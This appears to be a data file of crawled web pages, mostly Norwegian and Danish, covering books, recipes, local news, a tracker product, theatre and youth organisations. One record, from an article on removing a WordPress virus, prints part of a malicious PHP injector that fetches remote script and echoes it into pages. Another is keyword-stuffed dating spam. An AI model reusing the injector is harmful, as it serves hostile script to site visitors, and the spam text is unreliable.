{"url": "https://www.bestselgerklubben.no/_skjonnlitteratur/noveller-lyrikk-og-drama/stjerneplyndreren-claude-de-burine-9788256013579", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:31:21Z", "text": "| Forfatter:      | Claude de Burine          |\n| Innbinding:     | Innbundet                 |\n| Utgivelses\u00e5r:   | 2002                      |\n| Antall sider:   | 166                       |\n| Forlag:         | Solum                     |\n| Spr\u00e5k:          | Bokm\u00e5l                    |\n| Originaltittel: | Le pilleur d'\u00e9toiles      |\n| Oversatt av:    | Lundbo, Thomas            |\n| Serie:          |                           |\n| ISBN/EAN:       | 9788256013579             |\n| Kategori:       | Noveller, lyrikk og drama |\n\n##### Omtale Stjerneplyndreren\n\n Forfatteren er fra Frankrike. Hun henter mye av sitt materiale i naturen, og gjennom hennes sl\u00e5ende, til tider paradoksale sammenstillinger f\u00e5r det rustikke landskapet et nesten truende n\u00e6rv\u00e6r, og peker p\u00e5 skj\u00f8rheten i menneskenes eksistens. Livets og kj\u00e6rlighetens forgjengelighet st\u00e5r sentralt i diktene.\n\n", "language": "no", "__index_level_0__": "4d7044f5-f761-4583-b070-8ff98286b55b"}
{"url": "http://no.stealthsettings.com/wordpress-virus-php-hack-remove-wordpress-virus.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:44:47Z", "text": "curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}\nif ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>\nJeg vet ikke n\u00f8yaktig hvordan dette kalles virus og selv \u00f8delagt n\u00e5r han gj\u00f8r akkurat, men er usynlig for v\u00e5re ber\u00f8rte omr\u00e5der. I stedet, for\u00e5rsaker en stor depunctare s\u00f8kemotorer (spesielt Google), og dermed nedgang i antall bes\u00f8kende til nettsider rammet.\n\n", "language": "no", "__index_level_0__": "e37d5e3e-cfa5-45dd-8794-874e56360c56"}
{"url": "http://groruddalen.no/kultur/fant-drommehytta-ble-ukesvinner/19.23122", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:50:55Z", "text": "## Fant dr\u00f8mmehytta - ble ukesvinner\n\n\n\nBLINKSKUDDET: May-Britt Johansson vant denne uka med dette blinkskuddet av en sommerkveld p\u00e5 Tyristrand. Hun tok et bilde av sin egen dr\u00f8mmehytte.\n\nMay-Britt Johansson fra Kalbakken er den f\u00f8rste ukesvinneren i sommer med sitt fine blinkskudd av et blikkstille vann, en r\u00f8dmalt stue og et inntrykk av en norsk sommerkveld.\n\n", "language": "no", "__index_level_0__": "37d2c40a-fdc7-4a8b-974d-ef8b140c0016"}
{"url": "http://dct777.com/3433-sukker-mobil-gratis.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:36:29Z", "text": "## Blodsukker og HbA1c - Lev med diabetes.no\n\nbeste indiske dating apps for iphone beste internasjonale gratis dating-nettsteder beste internasjonale homofil dating beste internasjonale homofil dating app dating mobil beste internett-dating emails beste internett-dating for over 50s beste internett-dating introduksjoner beste internett dating isbrytere 520.028 beste\u00a0Scandinavias st\u00f8rste database med statister, skuespiller, modeller og publikum. Finn castings og auditions innen TV, film, musikkvideo og reklame. Accu-Chek Mobile blodsukkerm\u00e5ler bruker en testkassett med 50 tester p\u00e5 et langt b\u00e5nd. Dette betyr at man ikke skaper avfall etter hver blodsukkerm\u00e5ling.gratis homofile oppkobling apps 2016. gratis indiske dating nettsteder i usa S\u00f8k blant v\u00e5re ferieboliger i Spania og finn en feriebolig etter dine behov. V\u00e5re feriehus og gratis homofile dating johannesburg passer perfekt for deg som \u00f8nsker en hyggelig ferie i Spania sammen med familie eller venner. Vi har ferieboliger\u00a0 q karianne solbr\u00e6kken gratis dating online nettsteder for sukker mumiene. gratis dating online nettsteder i usa 2015 gratis dating online nettsteder p\u00e5 mobil gratis dating online nettsteder singler texas 308,-. gratis dating online nettsteder som .. gratis dating online nettsteder i london. gratis dating p\u00e5 mobiltelefon gratis dating panama 297,-. hvordan finne tilbake til kj\u00e6rligheten best 25. aug 2013 Alle vet at sukker er usunt, men hva vet vi egentlig om de nye s\u00f8tstoffene som er kommet p\u00e5 markedet? Helsekostbutikkene tilbyr en rekke alternative, naturlige s\u00f8tstoff som p\u00e5st\u00e5s \u00e5 v\u00e6re sunnere enn sukker, men for forbrukerne er s\u00f8te smaker blitt en jungel \u00e5 orientere seg i. Derfor har Tara Frisk i\u00a07. jul 2015 Hvis du kutter ned p\u00e5 de karbohydratene som metter d\u00e5rligst og gir f\u00e6rrest n\u00e6ringsstoffer, har du masse \u00e5 vinne p\u00e5 helsesiden. En amerikansk unders\u00f8kelse har nylig vist at det er gunstig for kolesterolniv\u00e5et og dermed reduserer risikoen for blodpropp. I unders\u00f8kelsen deltok 178 overvektige testpersoner.\n\n", "language": "no", "__index_level_0__": "873e3304-b77f-40f3-bc59-d23327ae44ad"}
{"url": "http://franciskasvakreverden.blogspot.com/2013/07/himmelske-sommerpaier-med-jordbr-og.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:31:21Z", "text": "\n\n\n## onsdag 31. juli 2013\n\n### Himmelske sommerpaier med jordb\u00e6r og rabarbra\n\n  \n Da vi var i Danmark nylig bes\u00f8kte vi kusina mi, som bor ute p\u00e5 landet med hester, h\u00f8ner, katter, kaniner, b\u00f8lgende jorder s\u00e5 lang \u00f8yet rekker og ikke minst en stor kj\u00f8kkenhage. Hun hadde laget disse himmelske sommerpaiene med jordb\u00e6r og rabarbra rett fra egen hage. De smakte helt nydelig\\!\u00a0  \n  \n Jeg ba henne selvf\u00f8lgelig om oppskriften, slik at jeg kunne gi den videre til dere\\! :-)  \n  \n Himmelske sommerpaier med jordb\u00e6r og rabarbra  \n12 stk  \n  \n Deig:  \n200 g hvetemel  \n75 g melis  \n100 g sm\u00f8r  \n1 lite egg  \n  \n Jordb\u00e6r- og rabarbrakompott:  \n300 g jordb\u00e6r  \n200 g rabarbra  \n125 g sukker  \nkorn av 1 vaniljestang  \n  \n Marengs:  \n2 eggehviter  \n1 ts sitronsaft  \n125 g sukker  \n  \n 12 sm\u00e5 paiformer ca 7 cm i diameter (kan ogs\u00e5 lages i en stor paiform)  \n  \n Bland melet med melis. Skj\u00e6r sm\u00f8ret i mindre biter og smuldre det i melet. Samle deigen med egget. La deigen st\u00e5 kj\u00f8lig i cirka en time.  \n  \n Sett ovnen p\u00e5 180 grader  \n  \n Rull deigen ut mellom to stykker bakepapir, til den er ca. 3-4 mm tykk. Skj\u00e6r deigen til, slik at den passer i st\u00f8rrelsen til formene.  \n  \n Ha paidaigen i 12 sm\u00e5 smurte former. legg et lite stykke bakepapir i bunden av hver form. Prikk deigen med en gaffel.  \n  \n Bak paibunnene i ca. 10 minutter.  \n  \n Fjern bakepapiret og bak paibunnene i 2 minutter til, eller til de har f\u00e5tt litt farge i kanten. Avkj\u00f8l paibunnene.  \n  \n Skyll og rens jordb\u00e6rene. Skj\u00e6r rabarbrane i mindre biter. Ha jordb\u00e6r og rabarbra i en gryte sammen med sukker og vaniljekort. Kog ved svak varme i ca. 10 minutter til en kompott. Avkj\u00f8l.  \n  \n Sett ovnen p\u00e5 grill.  \n  \n Pisk hvitene stive med sitronsaft og sukker.  \n  \n Fyll paiene med jordb\u00e6rkompott og ha en stor skjefull med marengs over. Grill paiene til marengsen har f\u00e5tt farge.  \n  \n Viktig\\! Hold godt \u00f8ye med paiene, slik at de ikke blir brente.  \n  \n   \n           \n\n#### 2 kommentarer:\n\n1.  \n    \n    Anne Vik31. juli 2013 kl. 18:40\n    \n    Tusen takk for oppskrift. Dette s\u00e5 bare helt nydelig ut. Her blir det utskeiing :-)\n    \n2.  \n    \n    Tre Engler31. juli 2013 kl. 19:19\n    \n    Ser bare herlig ut:)  \n    Takk for at du deler oppskrifter med oss:)  \n    Fortsatt herlig kveld  \n    Klem Merete\n    \n", "language": "no", "__index_level_0__": "49952602-0d55-4925-9c9c-dcb96c351f26"}
{"url": "http://radioh.no/barnevernet-far-refs/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:40:15Z", "text": "# Barnevernet f\u00e5r refs\n\n### I en fersk tilsynsrapport fra Fylkesmannen i Rogaland f\u00e5r Haugesund kommune refs for manglende rutiner og samarbeid mellom helse-, sosial- og barnevernstjenesten n\u00e5r det gjelder \u00e5 oppdage og f\u00f8lge opp barn med vansker, if\u00f8lge havis.no.\n\nAv admin | 10.12.2008 08:48:57\n\nBarnevernsleder Liv Kjersti Kvalevaag sier at hun ikke er overrasket over rapportens krasse kritikk av manglende samarbeidsrutiner i kommunen.\n\n\u2013 Vi var klar over at vi ikke hadde gode nok systemer og tverrfaglig samarbeid for \u00e5 fange opp de minste og mest s\u00e5rbare blant oss. N\u00e5 har vi sjanse til \u00e5 gj\u00f8re hverandre bedre, og jeg tror det er viktig for alle parter at dette n\u00e5 blir prioritert. Dette handler om barna og troverdigheten til Barnevernet og det forebyggende arbeidet i kommunen, sier Kvalevaag.\n\nPublisert av Lisa Lien | 10.12.2008 kl.08:4\n\n", "language": "no", "__index_level_0__": "af6f4c06-e63c-4ef1-bc49-04ca2bb33f63"}
{"url": "https://www.apple.com/dk/shop/product/HLSH2ZM/A/tile-pro-series-sporingsenheder", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-25T00:41:48Z", "text": "  - ## Produktoplysninger \n    \n    ### Oversigt\n    \n    Tile\u00a0Pro\u00a0Series-sporingsenhederne hj\u00e6lper dig med at finde forsvundne ting, uanset hvor du er. Hver Pro\u00a0Series-pakke indeholder to elegante, men alligevel solide sporingsenheder \u2013 Tile\u00a0Sport og Tile\u00a0Style \u2013 som er meget effektive til at finde dine ting. Disse sporingsenheder har desuden en r\u00e6kkevidde p\u00e5 60\u00a0meter og en ringetone, der er dobbelt s\u00e5 h\u00f8j som p\u00e5 tidligere Tile-sporingsenheder, samtidig med at de er vandafvisende.\n    \n    ### Udvalgte egenskaber\n    \n    Find nemt dine ting takket v\u00e6re en r\u00e6kkevidde p\u00e5 60\u00a0meter og en ringetone, der er dobbelt s\u00e5 h\u00f8j som p\u00e5 tidligere Tile-sporingsenheder\n    \n    Tryk to gange p\u00e5 knappen p\u00e5 din Tile\u00a0Sport \u2013 s\u00e5 ringer din iPhone, ogs\u00e5 selvom den er p\u00e5 lydl\u00f8s\n    \n    Se tingen p\u00e5 et kort \u2013 Tile-appen husker, hvorn\u00e5r og hvor du efterlod den\n    \n    Hvis din egen Tile er uden for r\u00e6kkevidde, kan du anonymt s\u00e6tte millioner af andre Tile-brugere til at hj\u00e6lpe dig med at finde din forsvundne genstand\n    \n    Vandafvisende p\u00e5 op til en meters dybde i 30 minutter, s\u00e5 du kan bruge den i forbindelse med sport\n    \n    Virker i et helt \u00e5r uden vedligeholdelse \u2013 ingen udskiftning af batteri og ingen opladning\n    \n    N\u00e5r det er tid til en ny Tile, f\u00e5r du en meddelelse om reTile-programmet\n    \n    ### Lagde du m\u00e6rke til det?\n    \n    Tile\u00a0Pro\u00a0Series-sporingsenhederne har en Bluetooth-r\u00e6kkevidde p\u00e5 60\u00a0meter og en ringetone, der er dobbelt s\u00e5 h\u00f8j som p\u00e5 tidligere Tile-modeller.\n    \n    ### Apple anbefaler til\n    Overblik over, hvor dine dyrebare ting befinder sig, uanset hvor du er.\n    Tile - Find lost keys & phone\n    \n    Welcome to Tile, the world's largest lost and found. Tile makes tiny Bluetooth trackers and a companion app that allow you to locate lost or misplaced items in seconds \u2014 like your phone, keys, and wallet. Compatible with Tile Mate, Tile Slim and Tile Original.  \n      \n    You can order Tiles at\u00a0http://www.thetileapp.com  \n      \n    \\*Ring your things.  \n    Attach or stick Tile devices to anything you don' t want to lose and use the app to ring your stuff when you're within Bluetooth range. With Tile Slim and Tile Mate you can pick from one of four unique ringtones.  \n      \n    \\*Ring your phone.  \n    Can't find your phone? Press any one of your Tile devices to make your lost phone ring \u2014even if it's on silent.  \n      \n    \\*See where you had it last.  \n    Keep the app running in the background and it will automatically record the last time and place it saw your item on a map. So, if you left it somewhere, you know where to look first.  \n      \n    \\*Ask others to help.  \n    Still can't find your Tiled item? Our \"Notify When Found\" feature puts every device running the Tile app on the lookout for your lost stuff. If anyone comes within Bluetooth range of your Tile, we'll let you know where it is. This feature is 100% private, so no one knows you're looking for a lost item but you.  \n      \n    \\*Find your phone from any device.  \n    Our app turns any phone or tablet into a virtual Tile. Simply download the app on all of your devices \u2014 and use the app on one of your devices to find another. Plus, you can use our voice calling feature to call another device from the app \u2014 even on silent \u2014 to help you get in touch with whoever may have picked up your lost phone.\u00a0  \n      \n    Notes:  \n    \\* The app utilizes Bluetooth Low Energy (BLE) to communicate with your Tiles. The maximum range is 100 ft.  \n    \\* The app utilizes Location Services to record the last known location of your Tiles, based on your phone's geo-location data.  \n    \\* Continued use of GPS or Bluetooth running in the background can dramatically decrease battery life.  \n", "language": "no", "__index_level_0__": "aa6b38a5-ff0b-4335-aae7-a4110b8cd44e"}
{"url": "http://www.arthaus.no/kommer/article949463.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:14:05Z", "text": "# Gullpalme-vinner Ruben \u00d6stlund til BIFF\n\nTittel: Supervoksen  \nOriginal tittel: Supervoksen  \nRegi: Christina Rosendahl  \nSkuespillere: Emma Leth, Cathrine Bj\u00f8rn, Amalie Lindeg\u00e5rd, Sebastian Jessen  \nManus: Mette Heeno  \nMusikk: Vagn Luv  \nSjanger: Drama  \nNasjonalitet: Danmark  \nSpr\u00e5k: Dansk  \nLengde: 1 t. 29 min.  \nProduksjons\u00e5r: 2006  \nSensur: 11 \u00e5r  \n /\n\nHer er den sanske ungdomsfilmen som fortsetter der den norske dokumentaren \"Jenter\" slapp.  \n  \nRebecca, Claudia og Sofie er i den ulidelige alderen der de verken er barn eller voksne. De m\u00e5 vise legitimasjon for \u00e5 kunne reise med barnebillett p\u00e5 bussen, men kommer ikke inn p\u00e5 de hippe stedene fordi de er for unge. De vil leve livet, men blir holdt utenfor.  \n  \nJentene funderer p\u00e5 n\u00e5r de egentlig blir voksne. Er det n\u00e5r man har fylt atten, st\u00e5tt til konfirmasjonen eller debutert seksuelt? De savner et overgangsrituale og blir enige om \u00e5 lage dette selv.  \n  \nDe lager en sp\u00e5 der de skriver inn ting de m\u00e5 gj\u00f8re. Det skal helst ha med sex \u00e5 gj\u00f8re. Og det er ramme alvor: Om de ikke gjennomf\u00f8rer oppgavene har de tatt nakenbilder av hverandre som skal legges ut p\u00e5 nettet. Om de best\u00e5r er de voksne.  \n  \nSupervoksen er en r\u00e5sterk film om tre t\u00f8ffe jenter som virkelig utfordrer grensene, b\u00e5de egne og andres. Gnistrende spilt av tre unge stortalenter og med en debuterende kvinne i registolen viser danskene at jenter fort lager de beste filmene.  \n  \nSupervoksen var en publikumssuksess i Danmark. Filmen vant danske Amanda for beste ungdomsfilm og ble k\u00e5ret til beste film av ungodmsjuryen ved Kosmorama filmfestival i Trondheim.  \n\n\u00a0\n", "language": "no", "__index_level_0__": "afc43c81-e407-45ae-b5b6-6ce490a4fd2e"}
{"url": "https://www.oslo-fjord.no/hva-skjer-i-ostfold/2015/2/12/komplottet-riksteatret", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:49:19Z", "text": "# OSLO FJORD\n# KOMPLOTTET med K\u00e5re Conradi (Riksteatret)\n\n  - Thursday, February 12, 2015\n  -  7:00 PM  9:00 PM   19:00  21:00 \n\n**K\u00e5re Conradi i glitrende psykologisk maktspill.\u00a0**  \n  \nRiksteatret f\u00e5r norgespremieren p\u00e5 Joe Penhalls velkomponerte teaterstykke \u2013 underholdende og intelligent skrevet av en dramatiker som vet hvordan han skal overraske publikum og lure dem trill rundt. Her er det snakk om \u00e5 strekke seg meget langt for \u00e5 f\u00e5 en god historie. Siden urpremieren p\u00e5 Royal Court Theatre i London i 2004 er Komplottet blitt spilt p\u00e5 scener over hele Europa.\u00a0  \n  \n\u2013Jeg kunne ikke si annet enn \u00abja takk\u00bb da Ellen Horn tilb\u00f8d meg hovedrollen som talkshowkjendisen i denne britiske teatersuksessen, sier skuespiller K\u00e5re Conradi, som skal ut p\u00e5 sin f\u00f8rste store turn\u00e9 med Riksteatret. Med seg eller mot seg i dette komplottet har han Ulrikke D\u00f8vigen og Tov Sletta. Hvem som lurer hvem, f\u00e5r du se hvis du kj\u00f8per billett.\u00a0  \n  \nSpilletid: ca 2 timer (ingen pause).\u00a0  \n  \nTorsdag 12. februar 19:00  \nBrygga Kultursal,\u00a0Tollbod gt 4-6\u00a01767\u00a0HALDEN.  \n  \nOpplev mer:  \nKomplottet stiller etiske sp\u00f8rsm\u00e5l som handler om dine og mine medievalg. Vi inviterer til baksnakk etter forestillingen.\n\n    \nEarlier Event: February 8\n\nSLEPEB\u00c5TAKSJONEN \u2013 70 \u00c5R ETTER\n\n", "language": "no", "__index_level_0__": "4ae5265c-580a-40a7-8759-99069aaadfff"}
{"url": "http://docplayer.me/233783-Byutvikling-pa-marienlyst.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:18Z", "text": "25 Prinsipper for samarbeidet Drammen kommune og Ticon Eiendom etablerer et felles selskap, Marienlyst Utvikling (MU), for utvikling, utbygging og salg av omr\u00e5det som utnyttes kommersielt. Drammen kommune er grunneier og selger til MU den del av tomten som kan utnyttes kommersielt. DK skal bygge, eie og drive multifunksjonshallen. Finansiering av multifunksjonshallen skjer gjennom salg av tomt, fortjeneste av utbygging, offentlige tilskudd og driftsinntekter. Drammen kommune har en uavhengig rolle som planmyndighet. 25\n\n26 Utviklingsavtale Legger rammer for samarbeidet gjennom MU. Selskapsstrukturen er en kombinasjon av aksjeselskap (AS) og indre selskap (IS). Ticon Eiendom skal ha det administrative arbeidet i MU og delprosjekter. Ticon Eiendom skal gi ansvarlige l\u00e5n til MU for utviklingsfasen og forskuddsbetaling av tomtekj\u00f8p. I byggefasen skal MU finansieres via egenkapital, fremmedkapital og salg/realisasjon av delprosjekter. 26\n\n\n\n27 Selskapsstruktur DK og TE deltar 50/50. Full ansvarsbegrensning for begge parter gjennom MU AS. Investeringer via MU IS. MU AS er hovedmann i MU IS. MU IS er en forutsetning for DKs mulige finansiering av Multifunksjonshall. Salget av eiendommen vil ikke utl\u00f8se gevinstbeskatning fordk. Selskapsstrukturen inneb\u00e6rer ingen skattebesparelse for Ticon Deltakelse i og utbytteandel fra MU IS vil v\u00e6re skattefritt for DK. 27\n\n", "language": "no", "__index_level_0__": "f9cb8bd1-82e0-4a8c-94d8-f02f4f1c23c0"}
{"url": "http://docplayer.me/562971-Gratis-ta-med-deg-et-magasin-hjem-reitangruppen-ravn-marion-ungdom-og-trender.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:41Z", "text": "4 Dette er MOT Plant gode verdier\\! MOT-magasinet Nr /Utgiver: MOT /Redakt\u00f8r/tekst: Fabian Gi\u00e6ver /Profildesign: Finn Older\u00f8ien, Scanpartner /Layout: Erik Kolst\u00f8 Andersen, Egmont /Produksjon: Egmont /Forsidefoto: Isabel Watson /Opplag: Foto: Ludvig Killingberg MOT er en holdningsskapende organisasjon som jobber for og med ungdom. MOTs m\u00e5l er \u00e5 bidra til robuste ungdommer og trygge ungdomsmilj\u00f8. MOT har en helhetlig modell for hvordan lokalsamfunn kan jobbe sammen med ungdom. Helhetsmodellen best\u00e5r av program i ungdomsskolen, videreg\u00e5ende skole og p\u00e5 ungdoms fritidsarena. Gjennom ung til ung-formidling, \u00f8velser, historier, dialog og rollespill bevisstgj\u00f8res ungdom til \u00e5 ta egne valg, ta vare p\u00e5 hverandre og vise mot. MOTs 22 \u00e5rsverk organiserer 2700 medarbeidere som driver MOT-arbeidet i lokalsamfunnene. MOT ble startet av norske toppidrettsut\u00f8vere i Initiativtakere var sk\u00f8ytel\u00f8perne Atle V\u00e5rvik og Johann Olav Koss. MOT har ca 40 ambassad\u00f8rer i toppidretten og kulturlivet som frivillig bidrar til \u00e5 forsterke budskapet, og p\u00e5virke ungdom positivt. MOT S\u00f8r-Afrika MOT har siden v\u00e5ren 2006 kj\u00f8rt sitt program i videreg\u00e5ende skole for ungdommer i Western Cape Province i S\u00f8r-Afrika. Siden 2007 har MOTs program v\u00e6rt definert som en del av pensum for undervisningen i Life Skills ved alle de 6 statlige collegene i provinsen. Tilbakemeldingene og interessen for MOT har v\u00e6rt overveldende positive, og vi valgte derfor v\u00e5ren 2009 \u00e5 etablere en selvstendig og selvfinansierende organisasjon i S\u00f8r-Afrika. Daglig leder sammen med en medarbeider drifter organisasjonen og betjener de vel 200 operative MOTinstrukt\u00f8rene som kj\u00f8rer programmet for ca ungdommer i Cape Town og omegn. Det er viktig med lover og regler, men det kan aldri overg\u00e5 det \u00e5 bygge kultur og plante gode verdier. Da Johann O. Koss, Rune Bratseth, Dag Otto Lauritzen og jeg stiftet MOT 22. februar1997 var det for \u00e5 forsterke et samfunn med trygge milj\u00f8 og bevisste ungdommer. Fokuset skulle v\u00e6re p\u00e5 verdier og kulturbygging mer enn lover og regler, fordi: Vi kan ikke lage en lov som forbyr ensomhet og usikkerhet, men vi kan skape en kultur som byr p\u00e5 mennesker som er robuste, og som gj\u00f8r andre verdifulle. forbyr misunnelse, men vi kan skape en kultur som byr p\u00e5 mennesker som unner og beundrer. forbyr likegyldighet, men vi kan skape en kultur som byr p\u00e5 mennesker som er engasjert og brenner for noe. forbyr at mennesker smiler til folk de ikke kan fordra og lyver s\u00e5 ofte som mulig, men vi kan skape en kultur som byr p\u00e5 mennesker som er oppriktige. Vi kan ikke lage en lov som forbyr hat, men vi kan skape en kultur som byr p\u00e5 mennesker som viser kj\u00e6rlighet og varme. forbyr falsk glede, men vi kan skape en kultur som byr p\u00e5 mennesker som lytter til sine dr\u00f8mmer og sitt hjerte. forbyr bitterhet og hevn, men vi kan skape en kultur som byr p\u00e5 mennesker som tilgir. forbyr gr\u00e5dighet, men vi kan skape en kultur som byr p\u00e5 mennesker som er rause. forbyr egoisme, men vi kan skape en kultur som byr p\u00e5 mennesker som viser hensyn og omtanke. Vi kan ikke lage en lov som forbyr materialisme og overforbruk, men vi kan skape en kultur som byr p\u00e5 mennesker som er forn\u00f8yde med de enkle tingene, og at de ikke trenger mer enn NOK Vi kan ikke lage en lov som forbyr det \u00e5 v\u00e6re hovmodig og blasert, men vi kan skape en kultur som byr p\u00e5 mennesker som er takknemlige og verdsetter ogs\u00e5 de sm\u00e5 tingene. forbyr det overfladiske og kosmetiske operasjoner for \u00e5 f\u00e5 en litt bedre fasade, men vi kan skape en kultur som byr p\u00e5 mennesker som er naturlige og som aksepterer seg selv og sine skavanker. Vi kan ikke lage en lov som forbyr det \u00e5 v\u00e6re tung og dyster, men vi kan skape en kultur som byr p\u00e5 mennesker som viser sin lyse og lekne side noks\u00e5 ofte. forbyr \u00e5 ta tankel\u00f8se valg, men vi kan skape en kultur som byr p\u00e5 mennesker som tar egne og bevisste valg. forbyr feighet, men vi kan skape en kultur som byr p\u00e5 mennesker som viser MOT. Atle V\u00e5rvik MOTs gr\u00fcnder 7\n\n\n\n\n\n6 7-Eleven sin fanpage p\u00e5 Facebook, og MOT f\u00e5r 5 kroner. - Verv venner og kjente, kolleger og kunder\\! 7-Eleven p\u00e5 Facebook finner man ved \u00e5 s\u00f8ke p\u00e5 7-Eleven Norge i s\u00f8kefeltet p\u00e5 Facebook, oppfordrer Magnus. Eget MOT bensinkort til \u00e5 glede-dagen i 2008 og Dette har blitt en god m\u00e5te \u00e5 synliggj\u00f8re samarbeidet p\u00e5 for begge parter, og b\u00e5de Kj\u00f8pmenn og selgere sier at de er stolte av samarbeidet med MOT. I 2010 har det v\u00e6rt flere kampanjer i samarbeid med MOT hvor MOTlogoen har blitt profilert p\u00e5 kampanjemateriell. Om Reitangruppen Reitangruppen best\u00e5r av fire forretningsomr\u00e5der: REMA 1000, Reitan Servicehandel, Reitan Eiendom og Uno-X Gruppen. Reitangruppen har i tillegg datterselskapet Spaceworld, en eierandel p\u00e5 10,1 prosent i Axfood og en eierandel p\u00e5 50 prosent av Det Nordenfjeldske Dampskibsselskab AS. Reitangruppens hovedkontor er p\u00e5 Lade Gaard i Trondheim, som er Reitangruppens kulturelle og finansielle senter. REMA 1000 og Reitan Servicehandel har sitt operative senter i Oslo, mens Reitan Eiendom er basert i Trondheim. Uno-X er basert i Oslo/K\u00f8benhavn. Reitangruppens visjon er \u00e5 bli kjent som Skandinavias mest verdidrevne selskap. Reitangruppen omsatte i 2009 (inkl. franchiseomsetning) for 58 milliarder kroner, sysselsetter mennesker i Skandinavia og Latvia, og er med dette Norges 6. st\u00f8rste selskap. Gjennom samarbeidet vil Uno-X Gruppen v\u00e6re en stor bidragsyter til \u00e5 finansiere MOTs kjernevirksomhet slik at Norge f\u00e5r enda flere bevisstgjorte ungdommer som tar bevisste valg slik at de mestrer livet. I tillegg vil selskapet styrke folks kjennskap og kunnskap om MOT gjennom en profilering av samarbeidet. - Vi har laget et eget YX- og Uno-X kort som er et eget MOT-kort. Det fungerer slik at n\u00e5r man fyller drivstoff med kortet, g\u00e5r rabatten uavkortet til MOT, forteller Vegar. Youghurt-is ga til MOT Narvesen og 7-Eleven gjennomf\u00f8rte for f\u00f8rste gang i 2007 en kampanje til st\u00f8tte for MOT p\u00e5 Mot til \u00e5 glede-dagen 23. november. P\u00e5 denne dagen gikk en sum uavkortet til MOT per solgte matmeny i kioskene, og suksessen ble gjentatt p\u00e5 MOT Sommeren er is-tid, og da ble ogs\u00e5 MOT med p\u00e5 laget. 5 kroner per solgte is skulle g\u00e5 til MOT, og etter to uker hadde man solgt flere youghurt-is enn noensinne kroner til MOT fra issalget. Gir honoraret til MOT Kommunikasjonsdirekt\u00f8r i Reitangruppen, Solfrid Flateby er en attraktiv foreleser innen b\u00e5de ledelse, arbeidslivsproblematikk og kommunikasjon. Som tidligere l\u00e6rer og i annet arbeid med ungdom, har hun hjerte for MOT, og velger \u00e5 gi honorarene for presentasjonene sine til Reitangruppens samarbeidspartnere. - MOT passer meg midt i blinken. Ungdom og verdier i fokus, vinnerkultur, forbilder og sterke engasjement. Jeg er stolt og glad for \u00e5 f\u00e5 v\u00e6re med \u00e5 bidra, og et lite ekstrabidrag er \u00e5 donere honoraret mitt for egne presentasjoner, smiler Solfrid\n\n\n\n7 TIPS til ungdom i arbeid Vegar: V\u00c6R MEST MULIG POSITIV\\! Positive mennesker har det morsomt, og har man det morsomt lykkes man med det meste. N\u00e5r man lykkes blir det videre enda morsommere... Hos oss ser vi alltid etter POSITIVE ungdommer som b\u00e5de vil by p\u00e5 seg selv og l\u00e6re\\! Magnus: Finn deg en jobb innenfor et omr\u00e5de du er lidenskapelig opptatt av. Lidenskap til arbeidet er den viktigste forutsetningen for \u00e5 gj\u00f8re en god jobb og en viktig del av det \u00e5 leve et lykkelig liv. Man tilbringer en veldig stor del av livet p\u00e5 jobb. Om du kjeder deg p\u00e5 jobben og er kun opptatt av \u00e5 tjene penger for \u00e5 finansiere fritiden, s\u00e5 kaster du bort en stor del av livet. Verdigrunnlagene - Vi rendyrker v\u00e5r forretningsid\u00e9 - Vi holder en h\u00f8y forretningsmoral - Vi skal v\u00e6re gjeldfri - Vi skal motivere til en vinnerkultur - Vi tenker positivt og offensivt - Vi snakker MED hverandre ikke OM hverandre - Kunden er v\u00e5r \u00f8verste sjef - Vi skal ha det morsomt og l\u00f8nnsomt Colonialmajoren: Tenk p\u00e5 at alt du gj\u00f8r er en god og sterk erfaring videre i livet. Gj\u00f8r derfor alltid det beste du kan, v\u00e6r s\u00e5 god som du kan v\u00e6re. Engasjement, eierskap og egeninteresse kjennetegner ofte de som lykkes\\! Sponsorprisen for samarbeidet med MOT Reitan Servicehandel (Narvesen og 7-Eleven) ble k\u00e5ret til vinneren av Sponsorprisen 2008 i kategorien Intern Utnyttelse i sterk konkurranse med bl.a. IKEA og SAS. Prisen for intern utnyttelse skal g\u00e5 til et selskap som har gjort nyskapende arbeid med \u00e5 integrere sponsing internt i en bedrift. Utnyttelsen skal v\u00e6re til inspirasjon for andre og bidra til \u00e5 fremme sponsing som fagomr\u00e5de. Juryleder i Sponsor- og Eventforeningen, Grete Ingeborg Nykkelmo, hadde f\u00f8lgende \u00e5 si om Reitan Servicehandel i sin begrunnelse for utnevnelsen: - Reitangruppen har v\u00e6rt en langsiktig sponsor av ungdomsorganisasjonen MOT, et engasjement Reitan Servicehandel n\u00e5 har valgt \u00e5 satse sterkere p\u00e5. Sponsorobjektet st\u00e5r godt til Reitans sett med verdier og objektet sk\u00e5rer h\u00f8yt 